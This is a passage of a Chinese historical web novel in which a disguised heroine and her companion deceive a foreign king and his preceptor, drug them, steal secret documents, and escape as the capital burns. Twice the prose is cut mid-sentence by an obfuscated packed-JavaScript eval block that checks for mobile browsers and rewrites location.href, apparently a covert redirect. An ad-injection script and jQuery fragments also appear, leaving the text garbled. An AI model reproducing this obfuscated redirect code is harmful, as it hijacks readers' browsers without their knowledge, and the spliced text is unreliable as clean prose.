扎木雅挽头发的手一顿,殿下自小就胆小,此番逃离北穆,身边的侍从逐一死在殿下面前,给她造成了极大的惊吓。从那以后,殿下比以前的胆子更小了。 扎木雅轻轻扶娜塔躺下,柔声说道:“殿下睡吧,我就在这里守着您,哪都不去。” “嗯。”娜塔见扎木雅真的坐在床边不动,安心地闭上了双眼。 翌日,天刚破晓,扎木雅便轻轻摇醒娜塔,“殿下,快醒醒。” 娜塔睡眼惺忪,看着外面只有微弱亮光的天空,嘟囔道:“怎么这么早。” “今日我们要求见苍荻王,宜早不宜晚。”扎木雅将娜塔从床上拉起来,伺候她换上新买的衣裳,“您还记得见到苍荻王该说什么吗?” 娜塔任由扎木雅摆弄,乖乖点头,开始背诵着这几日扎木雅反复教她的话语。 扎木雅替娜塔梳妆完毕,看着面前焕然一新的娜塔,满意地点头,“非常好,殿下,就是这样。我们现在就去王宫。” 用过早膳,沿着札木雅昨日走过的路,她们来到王宫门前。果然还未靠近,就被守卫拦下。 “站住,王宫门前,闲杂人等速速退下。” 扎木雅让娜塔站在原地,自己上前与守卫交涉:“我们是从北穆而来,烦请您通报苍荻王上,北穆王女求见。” “北穆王女?”守卫皱眉,心中满是疑惑。王女不是在国师府吗?怎么又冒出来一个北穆王女? 正巧此时,外使官黄外使从远处匆匆赶来,要求见王上。守卫连忙拦住他,“黄外使,王上已经去国师府会见北穆王女,可这位自称是北穆王女……” 黄外使闻言,顿时心生不妙,他转头看向扎木雅,这位是扎木哲将军的孙女,他曾有过一面之缘,绝不会认错。 再看不远处的少女,尽管她穿着苍荻服饰,但那张脸与一年前他在北穆王城时见到的一模一样。然而,这位王女的脸上完好无损,并无烧伤的痕迹。 电光火石之间,黄外使蓦地想起在国师府时那位王女说得磕磕绊绊的北穆语。他一拍额头,叫了一声糟。“坏了!那是个冒牌货!” 97.盟约 “王觉得王女这时候来苍狄会有何事?” 国师坐在书桌后,问正专注看着舆图的苍狄王。 苍狄王眯起双眸,手指在舆图上比划着,最终停留在苍狄与北穆交界的位置。他的嘴角扬起一抹意味深长的笑容,“还能有什么事,王后身死,北穆王被擒,王女被迫逃出王城,如今王女唯一的出路便是救出北穆王。” “王有何打算?” 苍狄王明白国师的意思,他与国师也并非外人所想的那般水火不容。 十三年前,他那草包兄长继承王位时,他便与国师达成了合作。那时,他才惊觉国师所谋甚大。原来,国师从二十多年前就开始精心布局,其野心竟然是要将北穆和大宸一同连根拔起。 好在苍狄王自己的野心也不小。试问,谁不想当这天下之主呢?哦,他那胆小怕事的草包兄长不想。正因如此,他和国师才能一拍即合,成功将草包兄长拉下王位。 如今,北穆已废了一半。大宸看似愈发强盛,实则隐患重重。承武帝时日无多,太子年幼,还有个与苍狄暗中合作的大皇子在旁虎视眈眈。只要承武帝一死,大宸必将内乱。如此看来,大宸,已不足为惧。 苍狄王的手指轻轻点在舆图上,微微一笑,“那就要看王女能拿出什么了。” 这时,门外传来轻轻的叩门声。 涓姑姑领着宁玉瑶走进国师府的前院。一行人停在主院中的一间屋子前,周围的环境清幽宁静。 宁玉瑶和秦熠悄悄对视一眼,看这规格,应该是国师的书房。他们之前以为国师会在正厅见他们,没想到会带他们来书房,真是踏破铁鞋无觅处,得来全不费工夫。 涓姑姑轻轻扣门:“王上,国师,王女到了。” 里面传出一道和蔼的声音:“进来。” 涓姑姑推开房门,请宁玉瑶入内。门边的侍卫本欲拦住秦熠,宁玉瑶急忙回头,满脸恐慌地抓住秦熠的手臂。她的眼眶瞬间通红,那模样仿佛不让秦熠进去,她就能立即哭出来。 侍卫无奈,转头请示国师和苍狄王。国师并不意外,挥了挥手示意侍卫放行,宁玉瑶这才安心抓着秦熠踏进书房。 “王女不用怕,我既然答应过王后,自然会护您周全。”坐在上首说话的老者头发花白,面容慈祥,让人一见就心生好感。 旁边的北穆王虽然依旧一脸儒雅随和地坐在一边没有说话,但他的眼神看过来时,宁玉瑶只觉那双眼似鹰隼般锐利,仿佛一眼就能看穿她的伪装。仅仅一个匆匆的对视,宁玉瑶背后瞬间冒出冷汗。 是他们托大了,骗过了朱府那些蠢货,就以为可以在国师府招摇撞骗,但能够坐上国师之位和谋害兄长登上王位的人,又怎么会被人轻易哄骗。 但她不能慌,宁玉瑶在心中不断提醒自己,她就是北穆王女。默念几次之后,就连宁玉瑶自己都坚信自己是北穆王女。 短短一瞬,宁玉瑶冷静下来。好在国师不会北穆语,是用苍狄语与她交流。她眼眶泛红,感激道:“多谢国师庇护。” “不必如此客气,”国师脸上依旧是慈祥的笑容,“不知殿下是从哪进的苍狄?” 国师言语平和,如闲话家常般问起,似乎真的只是好奇,但秦熠和宁玉瑶都能听出其中的试探。 宁玉瑶眨巴着无辜的大眼睛,一脸懵懂地说:“我也不知道呀,都是侍卫们背着我跑的,我不认识路。” “哦,”国师理解地点头,一个从未出过王城的娇女,确实分得清哪是哪。他又问道,“不知北穆王后可有信件让殿下转交于我?” “有的,”宁玉瑶神色黯然地垂下头,眼泪一颗一颗往下掉,“可是我一路被追杀,行囊都遗失了,我对不起母后,呜呜呜…” 宁玉瑶话未说完,就捂着脸嚎啕大哭。 “可惜了。”苍狄王轻叹一声,并未出言打扰,等宁玉瑶渐渐冷静下来,才温声说道:“殿下莫要伤心,信件遗失并非你的过错。” 宁玉瑶抽泣着抬起头,泪眼婆娑地看着苍狄王。 苍狄王问:“殿下此次来苍狄,只是为了寻求庇护?” “不是的,”宁玉瑶连连摇头,慌乱地擦掉脸上的泪水,“母后说,希望苍狄能帮我救出父王,文丞相会安排人马配合苍狄。” “王后轻飘飘一句话就想要我们苍狄出兵出力?王女应该知道,天下熙熙,皆为利来,没有好处,我为何要帮助你呢?”苍狄王轻笑,语气中带着嘲讽。 宁玉瑶咬了咬嘴唇,“苍狄王,只要您能帮助我救出父亲,北穆愿与苍狄结盟,永为苍狄之臣。” “王女殿下,这个条件可不够诱人啊。北穆如今已是风雨飘摇,这个承诺又有几分可信度呢?” 宁玉瑶似乎慌了神,她的眼中满是无助。泪水再次夺眶而出,她流着泪转身抓住秦熠的手,“卡慕,你说怎么办,母后说过,你说的话也作数的。” 卡慕便是秦熠给自己安排的北穆身份。 苍狄王和国师同时看向秦熠,眼中充满了审视。 秦熠不卑不亢地对二人行礼,“御鹰族族长之子卡慕见过二位大人。” “原来是御鹰族少族长,久仰。” “不敢,”秦熠接着方才的话题道,“王后和文丞相许诺,只要能救回我王,愿意将单布城和凉城拱手相让。” 单布城和凉城是北穆与苍狄接壤的两座城池,这两座城池都十分繁荣,战略地位也极其重要。如果能得到这两座城池,苍狄的实力必将大增。苍狄王和国师确实对这两座城池垂涎已久。 不过,他们所求的可不止这么点。 苍狄王轻笑道:“当初大宸掳走北穆王,北穆可是割让了八座城池给大宸。现在要让苍狄出兵救回北穆王,苍狄消耗如此之大,两座城池可不够。” 秦熠眉头紧皱,面露为难,“但是与大宸一战,北穆已经捉襟见肘,我们恐怕已经拿不出太多了,顶多再加上铂傲城和枝鼎城。此外,北穆还可以每年向苍狄进贡大量的财宝和物资。” 宁玉瑶一听给出了四个城池,她着急地在旁边掰着手指数着:“可这样,我们北穆就没剩下多少地方了。” 秦熠劝道:“殿下,等王上救出来了,割让给大宸的那八座城池自然可以收回了。” 宁玉瑶闻之有理,懵懂地点了点头。一旁的苍狄王笑着摇了摇头:“四座城池也不够,你们文丞相为了赎回北穆王可是给出了八座城市和三千万两白银。我们苍狄出兵攻打大宸,耗费巨大,四座城池, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741850|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不够我们出兵的损耗。” “王上此言差矣,大宸这些年风调雨顺,国富民强,只要能顺利攻下,收益巨大啊!”秦熠不上套。 “嗯。”国师垂眸沉吟,“那攻下大宸以后呢?你们只打算救回北穆王就撤兵。” 国师的问题一针见血,他显然在考虑更长远的利益。 “这……”秦熠迟疑,他们似乎没想这么多。 “没想过更进一步?”苍狄王暗示道。 “可大宸恐怕不是那么好对付的……”秦熠有些犹豫。 “难道少族长被秦家军打怕了?”苍狄王故意出言刺激道。 “谁怕那些姓秦的!打就打!”秦熠被苍狄王的话激怒。 “那就行了,”苍狄王惬意地往后一躺,倚在软垫上,“口说无凭,不如我们也签个盟约?” 国师将书桌上早已准备好的盟约书递给宁玉瑶。 宁玉瑶看着手中的盟约书,目光扫过上面的文字:苍狄出兵征伐大宸,协助北穆在两年之内成功救出北穆王。作为回报,北穆需割让五座城池予苍狄,并且大宸八成的领土须纳入苍狄的版图范围。 她眨了眨眼睛,眼神不安,犹豫半晌没有签字。“大宸如今兵强马壮,稍微逼迫一番我们尚有余力,可是想要侵占整个大宸,恐怕……” “王女不用担心。”苍狄王打断她的话,“大宸皇帝活不了多久了,大宸必将内乱,到时候便是攻打大宸的好时机。” “此话当真?”秦熠眼睛发亮,急切地问道。 苍狄王和国师笑而不语。 秦熠沉下心来,轻声劝宁玉瑶,“殿下,机不可失。” 宁玉瑶踟躇片刻,咬了咬嘴唇,最终下定决心,在两份文书上签下了北穆文“娜塔”二字,并印上手印。 将文书交还给苍狄王时,宁玉瑶的手微微颤抖。苍狄王接过文书,仔细地查看了一番,然后满意地点了点头。“王女可回去准备人马静候佳音。” 宁玉瑶收好文书,正欲告辞之际,一名侍卫匆匆跑了进来。侍卫神色紧张,凑到苍狄王耳边轻声说了几句话。 苍狄王脸上神情蓦地沉下来,他的眼神锐利如刀般看向宁玉瑶,仿佛要将她看穿。 宁玉瑶脸上依旧是那副无辜的模样,似乎完全不知发生了何事。 秦熠心中一沉,竟然如此巧合,他们最担心的事情发生了,真王女来了。 苍狄王对侍卫微微点头,侍卫应声退下。书房内顿时一片寂静,安静得仿佛能听见每个人的心跳声。 国师和苍狄王脸上的笑容消失不见,神情严肃得如同冻结的冰霜,他们静静地凝视着宁玉瑶。 宁玉瑶惶惶不安地拨弄着手上的金镯,金镯在她的手指间轻轻转动。她轻声问道:“发生什么事了?” 国师和苍狄王都没有说话,只是紧紧地盯着宁玉瑶。那目光如同沉重的枷锁,压得宁玉瑶有些喘不过气来。 盯了片刻,宁玉瑶的眼眶慢慢泛红,似乎是被他们的眼神吓到了,她的手指无措地揉搓着手上的金饰。 苍狄王轻轻一笑,然而这笑声中没有一丝温度。“王女还请稍安勿躁。” 没过多久,黄外使带着两名妙龄少女走了进来。 98.识破 率先进门的少女,如同一只受惊的小兔子般惴惴不安。另一名少女则气势汹汹,目光直直地看向屋内的宁玉瑶。 宁玉瑶回望过去,清澈的眼眸中满是茫然。 苍荻王这才转头看向宁玉瑶,冷笑:“真稀奇,居然来了两名北穆王女,本王怎么没听说北穆王有两个女儿。” 娜塔也跟着看向宁玉瑶,当她看到宁玉瑶脸上的伤疤时,似乎被吓了一跳。但很快便恢复了镇定,没有忘记自己要说的话,着急地喊道:“父王母后只有我一个女儿,我才是真王女。” 宁玉瑶一听这话,自然不甘落后。她的泪水在眼眶中打转,哭着说:“你胡说,我才是父王和母后的女儿!你个冒牌货!” 娜塔似乎从未想过会有人冒充她的身份,一时不知道怎么回话,赶紧抓着扎木雅的手,“扎木雅你说,你能证明我才是真的。” “她和你是一伙的!她当然会帮着你一起骗人!”宁玉瑶就算哭着都不忘回话。 扎木雅一听这话,立即愤怒地用北穆话说道:“不知道你是哪来的骗子居然敢冒充王女,我是扎木哲的亲孙女,自然可以做这个证。” 既然扎木雅开口说话,秦熠便不再沉默让宁玉瑶被欺负。他嗤笑着用北穆语回道:“你说你是扎木将军的孙女你就是了?我是御鹰族少族长,我怎么没见过你?” “表哥?”娜塔惊讶地大喊,“不对!你不是表哥!” “你们这群骗子。”扎木雅大怒,冲上来就要挥拳揍秦熠。 秦熠轻飘飘挡住她的拳头,再随手一扬,将扎木雅扔得踉跄着后退了几步,“就你这小身板,经得住老子一拳吗?” 札木雅满脸不服气,她双拳紧握,眼睛死死地盯着秦熠,就要再次冲上前去,却被苍荻王身边的侍卫拦住。 “好了。”苍荻王轻拍手掌,目光从众人身上掠过,“你们都说自己是真的北穆王女,不过黄外使官曾去过北穆,见过真正的北穆王女,黄外使你来说说。” 黄外使向前一步,用北穆语对宁玉瑶发问:“王城那场大火并未波及殿下的寝宫,你究竟是谁?” “我就是王女!”宁玉瑶不理会他说的什么,泪眼婆娑地用北穆话回了一句。随后她抹着眼泪转头对苍狄王道:“他胡说!明明我才是北穆王女,若不信,你帮我救出父王,我父王定能辨真假。” 娜塔轻咬着嘴唇,不安地拉住扎木雅的手轻声说:“难道她也是父王的女儿?” 毕竟父王曾有个儿子流落在外,虽客死异乡,但既然有过一个儿子,再多出个女儿也不是不可能。 扎木雅恨得直跺脚,赶紧捂住娜塔的嘴,压低声音道:“殿下,王后仅有您这一个女儿!” 宁玉瑶也没想到娜塔这般单纯,这让她都有些不忍继续坑这位天真的王女。然而,事已至此,已不是她能轻易停下的了。 她也拉着秦熠的手,悲切地哭泣道:“我想念父王,若是父王在这里,我怎么会被个冒牌货欺负,呜呜呜……” 娜塔也已有一年没见过北穆王,一听宁玉瑶说想念父王,她也跟着呜呜哭泣:“娜塔也好想父王,大宸为什么要抓走我的父王,呜呜呜……” 书房内顿时哭声一片。 苍荻王和国师看着两名妙龄少女哭得梨花带雨,冷漠的脸上不见丝毫动容。 最先进来的少女身体微微颤抖,如同雨中的花朵般柔弱无助。苍狄王却越看越觉得她面熟,他微微眯起眼睛,目光紧紧地锁定在少女身上,不断搜索着脑中的记忆。 半晌,苍荻王轻轻一笑,用大宸语说道:“明安郡主,你竟敢孤身一人混入国师府,把本王和国师耍得团团转,当真是好胆量。” 国师和黄外使闻言俱是一惊。国师的脸色瞬间阴沉,他的眼神如寒冰般冷冽望向宁玉瑶。此人已经知道了他们的计划,断不能留! 对于苍荻王的话,宁玉瑶置若罔闻,继续嘤嘤啼哭着。 “听闻去岁大宸太子遇袭,是明安郡主挺身而出引走刺客,之后与秦熠一起失踪,没想到会在苍荻出现。” 苍荻王也不在乎她承不承认,自顾自地说着,接着他转头看向秦熠,“想必这位就是鼎鼎大名的秦熠小将军吧?” “秦熠!”扎木雅听到这个名字,眼睛瞬间瞪大,目露狠戾,恶狠狠地盯着秦熠。“你杀了我祖父,掠走王上,现在还敢冒充北穆人,你好大的胆子!” 秦熠啧了一声,满不在乎地说道:“什么秦熠不秦熠的,跟老子有什么关系。” “呵,”苍荻王微笑,笑容中却带着丝丝寒意。“你们不承认有什么用呢。” 一直在旁沉默不语的国师突然问道:“给朱老将军治病的人也是你们二人假扮的吧?” 宁玉瑶依旧嘤嘤哭泣,不承认他们所说的话。 “你们真是好大的胆子,竟敢如此戏耍我与国师。”苍荻王脸上的笑容消失殆尽,取而代之的是满腔恼怒,“既然在苍狄玩得这般开心,那便彻底留在此处吧。” 宁玉瑶闻言,放下一直遮掩着面部的手,一双明亮的眼眸直直地看向苍荻王,挑衅道:“哦?你留得住我们吗?” “明安郡主愿意承认了?你……”苍荻王突然察觉异样,只觉喉咙像是被什么东西堵住,竟然无法说出话来。 他心中一阵慌乱,急忙看向门口,想要呼喊侍卫进来,书房的门不知何时已经关上。他试图扭头看向自己身后的贴身侍卫,却只看到秦熠扔在地上的两具头颅扭曲的尸体。 黄外使挣扎着想爬出去求救,宁玉瑶对着他抬起左手,一根银针从她手中射出来,扎进黄外使的身体里。黄外使的身体微微颤抖了一下,然后便倒下再也没有动静。 宁玉瑶轻哼一声,他们拖延时间只是为了等手镯中的药生效。本以为今天只能坑到国师,没想到苍狄王自己跑来了,买一赠一,倒也不错。 她笑着站起身,走到苍狄王面前,狠狠地甩了苍荻王和国师每人一巴掌。嘴里却大声哭道:“王上,我知道错了。” 说完,她低下头,对苍狄王和国师小声说:“你们想灭大宸,那本郡主先送你们一份大礼。” 苍狄王和国师身体僵直,无法动弹,只能怒视着宁玉瑶,他们的眼神仿佛要将宁玉瑶生吞活剥一般。 但宁玉瑶丝毫不惧,直接将涂有迷药的银针扎进苍狄王和国师的身体中。他们的眼神渐渐迷离,最后彻底昏死过去。随后宁玉瑶再从金簪中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13749127|133960||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取出几支生锈的铁针,尽数扎进他们体内。 至于北穆王女娜塔,宁玉瑶侧头目光在她身上停留了片刻。各种念头飞速闪过,突然一个计策涌上心头。她凑近秦熠,压低声音说道:“等下我假扮成王女的模样,你趁乱逃出去,再想办法救我。” 秦熠微微一怔,稍作思索便明白了她的意思。若是只有国师府的人在此,凭借他的能力,带着宁玉瑶或许还能勉强脱身。 然而现在苍狄王的侍卫也在外面,守卫森严,想要带着宁玉瑶一同逃离必然困难重重。若他先出去,然后在路上寻找合适的时机进行拦截,成功的可能性确实会更大。 “好,小心行事。”时间紧迫,秦熠没有犹豫,果断应下,迅速在书房内开始搜寻起来。 宁玉瑶也不再耽搁,赶紧擦去脸上的伪装,随后与娜塔身上的衣服互换。宁玉瑶又在娜塔脸上涂上为本来是自己准备的伪装烧伤药水。 娜塔和札木雅并未被她迷晕,只是浑身僵直不能行动。她们瞪大了眼睛,眼睁睁地看着宁玉瑶的一举一动,心中愤怒至极。可她们此刻却无能为力,只能任由宁玉瑶摆布。 宁玉瑶看着这个可怜的姑娘,心中并无多少触动。如果不是她抢先一步混进国师府,这个姑娘也会被苍狄王哄骗着签下盟约书。到时候,她带着盟约书回到北穆,必然会挥师大宸。 若要她同情北穆王女,那前世又有谁同情无辜的明安郡主呢? 宁玉瑶将北穆王女这边收拾妥当后,便立刻前去帮助秦熠。此时秦熠已经找到了暗格,正在将暗格中的东西取出来。 屋里太过安静,很容易引起外面人的怀疑。宁玉瑶一边忙碌一边大哭着求饶。 秦熠拆开一封信,恰好是大皇子写来的,他便知找到了他们想要的东西。他们没有时间一一查看信件内容,直接将暗格中所有的东西都拿出来,然后迅速取下墙上的舆图。 秦熠把舆图当包裹,将所有东西往里面放,然后打包好。 一直在屋外守候的侍卫长和涓姑姑皱眉看着紧闭的书房门。他们神色凝重,心中隐约感到不安。 尽管屋内不断有说话声和哭嚎声,但不知为何,他们总觉得有些不对劲。 他们对视一眼,涓姑姑上前轻轻叩门,恭敬唤道:“国师,婢子有事求见。” 屋内只有女人大声哭嚎的声音。 涓姑姑又轻轻叩了两下门,国师依旧没有回应。她的心中越发不安,立即用力拍门,大声喊道:“国师,国师!” 旁边的侍卫们也连忙围上来,用力拍着门,大声呼喊着:“王上!国师!” “出事了!”王宫侍卫长和国师府的管事们心头一跳,一种不祥的预感涌上心头,他们同时下令,“把门窗撞开!” 侍卫们一拥而上,使出全身的力气用力撞门。然而,国师府的书房用的都是最坚硬的木料,且门窗都被重物抵住,他们撞了许久,却纹丝未动。 过了许久,屋内突然冒出阵阵黑烟。外面的侍卫们更加着急,他们不知道屋内究竟发生了什么。 直到国师府内的侍卫们抬来攻城槌,他们齐心协力,奋力将书房门撞开。 此时,屋内已燃起熊熊大火。 99.逃脱 书房内,火焰肆意蔓延,疯狂吞噬着周围的一切。炽热的温度使得空气扭曲变形,烟雾弥漫开来,呛人的气息充斥着整个书房。 侍卫们隐约瞧见王和国师歪坐在椅子上,急忙冲过去将二人搬出书房。感受到他们的微弱气息,侍卫们稍稍松了口气,还好人活着。 并非宁玉瑶有意手下留情,要留他们一命,只是若苍狄王和国师当场死亡,侍卫们必定会像疯犬一般掘地三尺去搜寻凶手。 如今二人活着,当务之急是赶紧将这两位贵人送去医治,如此宁玉瑶二人才能趁乱逃脱。 娜塔被宁玉瑶喂下能暂时失去神智的药,在屋内举着火折子一边嚎哭一边到处晃悠。 恼怒的侍卫长下令让人把这位发疯的假王女抓住捆起来,扔到一旁。又吩咐其他人把趴在地上紧闭双眼的宁玉瑶等人扶出书房。 谁也没有注意到,被黑雾笼罩的房梁上还藏着一个人,趁乱悄悄掀开屋顶的瓦片,翻了出去。 刚出书房门,扶着宁玉瑶的侍卫赶紧喊道:“涓姑姑,劳驾您将王女送到外面的马车上。今日之事,恐怕王醒来后会严查。” 涓姑姑正在国师身边忙碌着,抬眼一看,整个正院中忙乱不堪,众人都在忙着灭火,而此时只有她一个婢女在旁,她连忙上前抱起宁玉瑶。 今日之事,涓姑姑责任重大,竟让假王女混进了国师府,酿成如此大祸,她难辞其咎。 她心中对那个胆大包天的骗子恨之入骨,一路咬牙切齿,恨不得生啖其肉。 快要走出国师府时,涓姑姑低头看向怀中的少女,越看越觉得不对劲。正欲高呼之际,突然感觉脖子一阵刺痛,一只手轻轻搭在她肩上,一道极低的声音从她耳边掠过:“孟青悦。” 记忆深处的名字猛地被唤起,涓姑姑惊得几乎僵在原地。 涓姑姑强压下心中的恐惧,这个假王女怎么会知道自己的真正名字?难道她见过姐姐? 这个女人不能留,但周围的人太多了,她无法将此人灭口。 短短一瞬间,她心中闪过无数念头。脖子上又是一阵刺痛,那道声音再次响起:“孟青悦,你是个聪明人。” 她瞬间清醒过来,她明白了这个假王女的意思,这个假货想要离开国师府,这句话是毫不掩饰的威胁。 此时她只能赌假货离开国师府后会彻底消失,只要此人不再回到国都,就不会再有人知道这件事。 她不能让假王女被国师府抓住。 涓姑姑迅速调整好自己脸上的表情,神色如常地走出国师府,将宁玉瑶放在马车上。 “再见了,涓姑姑。”宁玉瑶没有睁开眼睛,声音微不可闻地说了一句。 只要她这次顺利逃出去,她们便从此再无瓜葛,涓姑姑依旧是涓姑姑。 涓姑姑也没有说话,沉默地退至一旁,看着王上和北穆王女的马车渐渐远去。 这时,旁边有侍卫来报:“涓姑姑,抓到的那个假王女还在发疯,该如何处置?” 涓姑姑回过神来,叹了口气。那才是真正的王女,既不能轻易处置,更不能放着不管,只得说道:“将她捆起来,关进禁闭房中,等国师醒了再做定夺。” 躺在马车上的宁玉瑶,紧绷的神经稍稍放松了一些,马车上除了她只有一个动弹不得的札木雅。宁玉瑶迅速起身从鞋中掏出一把小刀,将身上衣裳上那些颜色艳丽的装饰拆除。 做完这一切,宁玉瑶静静地坐在马车上等待着。 她曾犹豫过是否要杀掉孟青悦,替涓姨报仇。可涓姨寥寥几次提起自己的家人时,没有丝毫怨恨。 更何况,她也不知道涓姨和孟青悦之间真正的纠葛。她不能仅凭自己的猜测,就自作主张地替涓姨杀了她的家人。她只能利用这一层关系,威胁孟青悦将自己送出来。 宁玉瑶叹了口气,罢了,横竖现在涓姨在小谷村,她们以后各自安好吧。 马车在宽敞的街道上继续前行,宁玉瑶不知道现在到了哪里,不过,她并不担心。熠哥哥没有自己拖累,肯定可以趁乱混出去。她只要安心在这里等着熠哥哥来救就好了。 想到这里,宁玉瑶托着下巴,闲闲地想着,也不知道那个救美的英雄还要多久才能到。 好在英雄也很想念他的美人。 从国师府到国都王宫需要穿过一片坊市。 马车缓缓向前行进,车外行人渐多,喧嚣之声不绝于耳。侍卫们如同一道坚固的屏障,将车内与外界远远隔开。 行至路程过半,突然,“砰”的一声巨响如惊雷乍起,街边的粮铺瞬间被火光吞没。爆炸的冲击力极强,粮铺两侧的店铺在这股巨力之下瞬间崩塌。熊熊大火迅速沿着商铺蔓延开来,滚滚黑烟直冲天际。 火光冲天,映红了半边天空。店铺里的货物被点燃,噼里啪啦地燃烧着,声响令人心惊。粮食在火中不断爆裂,周围的空气仿佛都燃烧起来,变得炽热无比。 街道上顿时陷入一片混乱,大量百姓满脸惊恐,如无头苍蝇般朝着马车这边狂奔而来。 侍卫们奋力抵挡,紧紧握着手中的兵刃,试图阻挡汹涌的人潮。然而百姓数量实在太多,侍卫们根本抵挡不住。马车被夹在人群中,动弹不得,车身随着人群的涌动而摇晃着。 这肯定是秦熠弄出来的,虽不知接下来会发生何事,但宁玉瑶丝毫不慌乱。她偷偷透过窗缝着窥视外面,马车外的坊市已经变成一片火海。 就在这时,她脚下的木板传来一阵轻微的响动。她连忙抬起脚,脚下的木板瞬间被卸掉,紧接着,刮掉胡子的秦熠探头进来。他头发凌乱,脸上沾着些许灰尘,却依然难掩英俊。 “玉瑶,来。” 宁玉瑶看见秦熠,毫不犹豫地笑着从破损的木板缝隙中钻了出去,被秦熠一把抱住,他们顺着人流朝城门口跑去。 有侍卫反应过来想要阻拦,但秦熠隐藏在慌乱的百姓中,走到哪里,火就放到哪里。国都内到处都是大火,仿佛一片人间炼狱。火焰舔舐着房屋,黑烟弥漫在空气中,让人几乎无法呼吸。 城内,侍卫们和护城兵迅速出动,很快便堵在了城门前,警惕地扫视着四周,誓要找出纵火之人。 但此时的火势实在是太 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 大了,秋季本就天干物燥,火借风势,迅速蔓延开来。加上秦熠一直在暗中不断地点火,使得火势愈发难以控制。 火兵丁们虽然奋力灭火,但他们的速度远远比不上秦熠放火的速度。城门口的混乱局面愈发不可收拾,人群惊恐地四处逃窜。 就算守城将领当机立断将城门关闭,并用刀戟阻拦试图出城的百姓,也无济于事。 火海中的国都百姓们被这突如其来的大火吓得肝胆俱裂,绝望中的百姓们直接以肉身为盾,不顾一切地夺过侍卫们手中的刀戟。 众人齐心协力,硬生生地将城门打开,百姓们如同决堤的洪水一般,蜂拥出了这座被大火包围的都城。 人潮拥挤,每一个人都在拼命地向前涌动,稍有不慎便会被推倒在地,而一旦倒下很可能再也爬不起来。 秦熠紧紧地抱着宁玉瑶,换上了被火灼烧过的破衣服混在人群中。 不管周围的人如何推搡,秦熠都岿然不动,小心翼翼地护着宁玉瑶。很快,他们被人潮裹挟着出了国都城门。 宁玉瑶坐在秦熠的手臂上,搂着他的脖子,冷漠地看着身后火光中的苍荻国都。 前世雁京百姓惨遭北穆和苍狄屠戮,尸横遍野。最后,一场大火将千年古都雁京焚为灰烬,只留下断壁残垣。 如今,那场大火算是还给了北穆和苍荻。 至于灭国之仇,咱们慢慢报。 秦熠紧紧跟在人群中,一路奋力往南跑去。身后驻军的呵斥声与追逐的脚步声不断传来,想要找到可疑之人。秦熠抱着宁玉瑶不敢单独行动。 此时一旦脱离人群,被发现的几率便会大大增加。然而一直随着人群前行,也并非长久之计。 直至进入一片山林中,秦熠才终于寻到了一个能够遮挡视线的树丛,迅速闪身离开人群。 进入树林后,秦熠小心地避开追兵,轻盈地在树木间穿梭着,轻声问道:“玉瑶,累不累,要不要歇会儿?” “我不累,你呢?”宁玉瑶紧紧搂着他的脖子,摇头。 秦熠将手中的包裹交给她,然后换了只手抱她。 他不敢背着宁玉瑶跑,万一苍狄军发现了他们,从背后射来箭矢,受伤的肯定是宁玉瑶。他宁愿自己这般累一点,也不想让她受到任何可能的伤害。 “这算什么,我们尽量离国都远一些再休息。”秦熠的神色轻松。 “嗯。”宁玉瑶应了一声,用袖子擦去秦熠脸上的汗水和黑灰,掂了掂怀里的包裹,沉甸甸的,不由得疑惑,“国师书房里的东西有这么多吗?” “我出来的时候经过国师府的库房,顺便拿了点金银器具。”秦熠笑嘻嘻地说。 毕竟他们从苍狄回大宸一路不知道要耗费多少时间,多拿些银钱,路上玉瑶也能过得舒坦些。 这可不止一点点了,宁玉瑶抱着有些坠手的包裹,毫无心理负担,国师的东西不拿白不拿。 不知道国师和苍狄王什么时候会醒,一旦他们醒来,必定会派人全力抓捕宁玉瑶二人。秦熠只能一刻不停地在树林中奔跑着,尽量离国都远一些。 100.夜明珠 王宫内气氛凝重。 医官们面色焦灼,团团围在苍狄王身侧,他们已经将王上体内的银针和铁针悉数取出,但王上依旧双目紧闭,毫无苏醒的迹象。 “可知王上中的是什么毒?”医正官眉头紧锁,焦急地询问在一旁仔细研究那几支针的医官。 一名医官微微摇头,神色凝重地答道:“银针上只是使人昏睡的迷药,并无大碍,只是铁针上带的药物,下官此前从未见过。此药究竟有何效用,下官一时也难以判断。” “而且这铁针锈迹斑斑,恐怕不妙……”另一位医官补充道。 众医官面面相觑,愁眉不展。 今日国都发生如此大事,不但国师府书房被毁,国都也烧了大半,百姓死伤惨重。几位王子虽然都在外面为此次事件奔波忙碌,但王上和国师同时昏迷不醒,国都内群龙无首,已经乱得不成样子。 不论如何,都必须尽快将二位唤醒,否则后果不堪设想。 天色渐暗,如血残阳缓缓西沉,待到太阳的余晖彻底消失不见时,昏迷了大半日的苍狄王和国师终于悠悠转醒。 苍狄王甫一睁眼,便迫不及待地问站在床边的内侍:“人抓到了吗?” 内侍一听,顿时吓得浑身颤抖,战战兢兢地跪倒在地:“回王上,人……人跑了……” “跑了?”苍狄王目露凶光,气得几欲坐起身来,怒喝道:“梁卫滚进来!” 一直站在门外的侍卫长梁卫听到呵斥声,立即快步走进寝宫,扑通一声伏跪在地:“王上恕罪,那两个贼人极其狡猾,他们与王女互换衣装,炸了几个粮铺,还在国都内四处放火。国都大乱,属下……属下无能……请王上恕罪!” 